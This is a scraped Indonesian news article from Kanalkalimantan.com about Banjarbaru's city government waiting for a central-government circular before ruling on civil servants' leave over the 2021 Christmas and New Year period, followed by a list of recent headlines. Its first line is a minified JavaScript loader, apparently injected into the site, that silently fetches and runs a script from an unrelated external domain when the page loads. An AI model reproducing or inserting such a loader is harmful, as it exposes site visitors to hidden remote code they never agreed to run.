(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pemko Banjarbaru Belum Keluarkan Edaran Libur Nataru bagi ASN


KANALKALIMANTAN.COM, BANJARBARU – Peraturan tentang cuti Aparatur Sipil Negara (ASN) selama Natal dan tahun baru (Nataru) di Banjarbaru sampai saat ini belum diputuskan oleh Pemko Banjarbru. Hal ini karena masih menunggu adanya surat edaran dari pemerintah pusat dalam hal ini Menteri PANRB.

Terdapat sejumlah aturan mengenai pembatasan kegiatan masyarakat, salah satu poinnya adalah mengenai peraturan tentang cuti ASN. Hal ini bertujuan untuk mengantisipasi adanya lonjakan kasus Covid-19 selama libur Nataru 2021.

Larangan cuti bagi ASN ini tertulis dalam Surat Edaran Menteri PANRB No. 26/2021 tentang Pembatasan Kegiatan Bepergian ke Luar Daerah dan/atau Cuti bagi Pegawai Aparatur Sipil Negara selama Periode Hari Raya Natal Tahun 2021 dan Tahun Baru 2022 dalam Masa Pandemi Covid-19.

Wali Kota Banjarbaru M Aditya Mufti Ariffin mengungkapkan belum mengambil langkah terkait libur Nataru, karena belum ada surat instruksi resmi dari Kementerian.

 

Baca juga : Ini Sepatu Rajut Buatan UMKM Banjarbaru yang Sudah Tembus Singapura!

“Kami menunggu surat instruksi resmi, dari pemerintah pusat. Jika sudah inmen atau inpresnya keluar maka akan dikeluarkan surat edaran berkaitan Nataru,” terangnya.

Sementara itu, Wakil Ketua I Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru, Taufik Rachman menanggapi hal itu dirinya sepakat dengan adanya larangan ASN melakukan cuti di Kota Banjarbaru.

“Menurut kami itu hal yang bagus, artinya kita menghindari perjalanan, itu bukti bahwa kita memperhatikan keselamatan kita semua,” ujarnya.

Diakui Taufik, anggota DPRD Kota Banjarbaru tidak akan ada yang pulang kampung hingga akhir Desember mendatang.

 

Baca juga : Tapung Tawar Bakal Mengaspal, 10 Bus Trans Banjar Bakula Siap Layani Koridor 1

“Karena hingga 30 Desember kita banyak pembahasan, bahkan kita akan ada paripurna di akhir bulan membahas dua Raperda,” ungkapnya.

Lebih lanjut kata Taufik jika ada SKPD yang ketahuan mengambil cuti, DPRD Kota Banjarbaru akan tetap mengawasinya.

“Kita lihat nanti, itu pemerintah kota yang akan menindaknya, kita sebagai pengawasan saja nanti,” tandasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

11 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

12 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

12 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

13 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

13 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

13 jam ago

This website uses cookies.